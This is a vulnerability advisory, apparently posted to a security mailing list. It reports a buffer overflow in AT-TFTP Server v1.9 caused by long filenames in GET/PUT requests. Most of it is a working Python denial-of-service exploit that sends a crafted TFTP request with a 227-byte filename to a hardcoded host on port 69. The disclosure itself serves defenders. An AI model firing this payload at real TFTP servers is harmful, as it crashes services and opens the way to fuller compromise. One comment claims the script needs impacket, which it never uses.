TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability (Long filename)

[liuqx () nipc org cn]

TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability (Long filename)

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SUMMARY:

AT-TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
(http://www.alliedtelesyn.co.uk/en-gb/support/downloads/tools.asp) 
It provides an implementation of the TFTPv2 protocol.

A vulnerability has been identified in TFTP Server AT-TFTP Server v1.9, which could be exploited by remote or local 
attackers to execute arbitrary commands or cause a denial of service. This flaw is due to a buffer overflow error when 
handling an overly long file name (more than 227 bytes) passed to a "GET" or "PUT" command, which could be exploited by 
malicious users to compromise a vulnerable system or crash an affected application.
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DETAILS:

 Vulnerable systems: AT-TFTP Server v 1.9 and probable prior
 
Exploit:

#!/usr/bin/python
# Buffer Overflow (Long filename) Vulnerability Exploit
# This is just a DoS exploiting code
# Tested on Windows xp SP2
#
# Requires python and impacket
#
# Coded by Liu Qixu Of NCNIPC

import socket
import sys

host = '192.168.1.11'
port = 69

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except: 
    print "socket() failed"         
    sys.exit(1)

filename = "A" * 227 
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(data, (host, port))

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Liu Qixu
NCNIPC